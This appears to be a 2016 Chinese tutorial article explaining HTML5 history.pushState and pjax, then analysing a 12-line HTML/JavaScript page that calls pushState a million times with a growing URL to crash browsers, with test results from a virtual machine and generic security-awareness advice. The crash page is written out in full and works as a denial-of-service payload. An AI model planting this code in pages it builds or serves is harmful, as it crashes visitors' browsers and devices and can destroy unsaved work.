让浏览器崩溃的12行JS代码(DoS攻击分析及防御)


Posted in Javascript onOctober 10, 2016

Ajax与pjax

AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是一种用于创建快速动态网页的技术。通过在后台与服务器进行少量数据交换,AJAX可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新-无刷新操作。

但是,ajax应用也会造成另外的问题,容易导致浏览器无法前进与后退,这是个很头疼的问题,开发人员必须增加工作量(比如通过一个隐藏的iframe,或者改变location.hash值等方法)来解决。

为了解决传统ajax带来的问题,HTML5里引入了新的API:history.pushState,它和ajax结合后,有个新的称呼是pjax。是一种基于ajax+history.pushState的新技术,该技术可以无刷新改变页面的内容,并且可以改变页面的URL。pjax是ajax+pushState的封装,同时支持本地存储、动画等多种功能。目前支持jquery、qwrap、kissy等多种版本。

让浏览器崩溃的12行JS代码(DoS攻击分析及防御)

HTML5.history.pushState

HTML5可以通过pushState和replaceState接口操作浏览器历史,并且改变当前页面的URL。

pushState是将指定的URL添加到浏览器历史里,存储当前历史记录点。replaceState是将指定的URL替换当前的URL。同时,这些方法会和window.onpostate事件一起工作。

history.pushState(data, title, url) : 往历史记录堆栈顶部添加一条记录;data会在onpopstate事件触发时作为参数传递过去;title为页面标题,当前所有浏览器一般都会 忽略此参数;url为页面地址,可选,缺省为当前页地址。具体细节:

state?对象是一个JavaScript状态对象,记录历史记录点的额外对象,可以为空。它关系到由pushState()方法创建出来的新的history实体。用以存储关于你所要插入到历史记录的条目的相关信息。

title—所有浏览器一般都会 忽略此参数,虽然它可能将来会被使用上。而现在最安全的使用方式是传一个空字符串,以防止将来的修改,或者可以传一个简短的标题来表示state。

URL—这个参数用来传递新的history实体的URL,新的url必须和现有的url同域,否则pushState()将抛出异常。这个参数是选填的,如果为空,则会被置为document当前的url。

十二行代码分析

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
 total= total+i.toString();
 history.pushState(0,0,total);
}
</script>
</body>
</html>

上面就是十二行代码,关键点在于针对total这个url的循环: history.pushState(0,0,total);不停的在修改url,循环了1000000次,不停的向历史记录堆栈中新增记录,会导致CPU和内存占用率过高以及firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。

让浏览器崩溃的12行JS代码(DoS攻击分析及防御)

在XP虚拟机(i7单核3.4G、512内存) 亲自实测:

     当上面那个循环次数为十万以上级别的时候,CPU,内存使用率瞬间100%,然后崩溃死机;

     当上面那个循环次数缩小到10000左右的时候,CPU,内存使用率大概在20秒内逐渐升高至100%,然后崩溃死机;

     当上面那个循环次数缩小到500左右的时候, CPU使用率逐渐升高到达100%后,再次瞬间恢复到稳定状态,内存使用从130M左右升高至230M左右,而打开的192.168.56.106/12.html这个页面后,地址栏里面的链接也变成了:http://192.168.56.106/0123456789101112131415161718192021…… 494495496497498499

可见,通过循环不停的向向历史记录堆栈中新增记录的同时,页面会刷新到跳转的新地址,就是循环累加的一个“伪地址”,当这个长度超限的时候,就会引起dos了,攻击的效果和效率完全取决于循环的次数和tagret的硬件配置。

相关的防御

相信大家的安全意识已经非常的强悍了,但是还是要警钟长鸣,不要轻信任何陌生人通过任何方式发给你的链接、附件、邮件、图片等任何信息,当然不排除好基友们损友们的恶作剧了,所以小伙伴儿们记得经常Ctrl+S哦,否则被搞死机了也会很郁闷的。

互联网自诞生之日起,就暴露在黑客攻击之下,早期的黑客攻击多少还带有技术试验和炫耀的目的,但随着全球互联网基础设施规模的壮大、连接的无限增长和用户数的急剧膨胀,黑客攻击频率也相应增加,黑客技术也在不断的发展,逐渐出现了以非法获取经济利益为目的的黑色产业链。针对互联网安全防护的技术水平更是突飞猛进,道高一尺魔高一丈,攻与防,在这个互联网时代每分每秒都正在发生着。

网络安全的防护,七分靠技术,三分靠意识,要防护这些问题,除了依靠安全厂商的产品和服务,还需要不断提高网络安全意识。比如:注意个人密码的管理、注意个人隐私的保护、不要轻易接入公共的wifi、不要轻易相信陌生/熟悉朋友的链接或者文件等、注意移动支付的安全、不要让设备“裸奔”等等

总结

以上就是这篇文章的全部内容了,希望能对大家的学习或者工作带来一定的帮助,如果有疑问大家可以留言交流。

Javascript 相关文章推荐
javascript操作html控件实例(javascript添加html)
Dec 02 Javascript
JSuggest自动匹配下拉框使用方法(示例代码)
Dec 27 Javascript
jqeury-easyui-layout问题解决方法
Mar 24 Javascript
jquery增加和删除元素的方法
Jan 14 Javascript
基于jQuery实现select下拉选择可输入附源码下载
Feb 03 Javascript
JavaScript仿淘宝页面图片滚动加载及刷新回顶部的方法解析
May 24 Javascript
JS输出空格的简单实现方法
Sep 08 Javascript
JavaScript实现使用Canvas绘制图形的基本教程
Oct 27 Javascript
js print打印网页指定区域内容的简单实例
Nov 01 Javascript
微信小程序movable view移动图片和双指缩放实例代码
Aug 08 Javascript
微信小程序使用wxParse解析html的方法教程
Jul 06 Javascript
详解Vue.js 响应接口
Jul 04 Javascript
KnockoutJS 3.X API 第四章之表单value绑定
Oct 10 #Javascript
jquery操作checkbox火狐下第二次无法勾选的解决方法
Oct 10 #Javascript
浅谈jquery中使用canvas的问题
Oct 10 #Javascript
a标签跳转到指定div,jquery添加和移除class属性的实现方法
Oct 10 #Javascript
浅谈javascript控制HTML5的全屏操控,浏览器兼容的问题
Oct 10 #Javascript
js监听键盘事件的方法_原生和jquery的区别详解
Oct 10 #Javascript
js 弹出虚拟键盘修改密码的简单实例
Oct 10 #Javascript
You might like
php去除html标记的原生函数详解
2015/01/27 PHP
把textarea中字符串里含有的回车换行替换成&amp;lt;br&amp;gt;的javascript代码
2007/04/20 Javascript
Js 时间函数getYear()的使用问题探讨
2013/04/01 Javascript
用原生JS获取CLASS对象(很简单实用)
2014/10/15 Javascript
JavaScript中实现继承的三种方式和实例
2015/01/29 Javascript
一看就懂:jsonp详解
2015/06/01 Javascript
Javascript如何判断数据类型和数组类型
2016/06/22 Javascript
jQuery实现的点击图片居中放大缩小功能示例
2019/01/16 jQuery
Nodejs实现图片上传、压缩预览、定时删除功能
2019/10/25 NodeJs
vue实现移动端拖动排序
2020/08/21 Javascript
vue离开当前页面触发的函数代码
2020/09/01 Javascript
[01:37]PWL S2开团时刻DAY1&2——这符有毒
2020/11/20 DOTA
听歌识曲--用python实现一个音乐检索器的功能
2016/11/15 Python
Python如何通过subprocess调用adb命令详解
2017/08/27 Python
Django+Ajax+jQuery实现网页动态更新的实例
2018/05/28 Python
Python实现批量修改图片格式和大小的方法【opencv库与PIL库】
2018/12/03 Python
Python定义函数时参数有默认值问题解决
2019/12/19 Python
Python实现的北京积分落户数据分析示例
2020/03/27 Python
基于python SMTP实现自动发送邮件教程解析
2020/06/02 Python
python中编写函数并调用的知识点总结
2021/01/13 Python
10条PHP编程习惯
2014/05/26 面试题
JSP和EJB可以共享HttpSession么?EJB里面可以改变session里面的内容
2013/06/05 面试题
理工大学毕业生自荐信
2013/11/01 职场文书
心理健康教育制度
2014/01/27 职场文书
公司成本主管岗位责任制
2014/02/21 职场文书
讲文明树新风公益广告宣传方案
2014/02/25 职场文书
实习护士自荐信
2014/06/21 职场文书
单位工作证明书格式
2014/10/04 职场文书
2014年服务行业工作总结
2014/11/18 职场文书
2014年科室工作总结范文
2014/12/19 职场文书
建国大业观后感
2015/06/01 职场文书
农村婚礼司仪主持词
2015/06/29 职场文书
2016入党积极分子党课学习心得体会
2015/10/09 职场文书
美德少年主要事迹材料
2015/11/04 职场文书
Python实现信息轰炸工具(再也不怕说不过别人了)
2021/06/11 Python
java解析XML详解
2021/07/09 Java/Android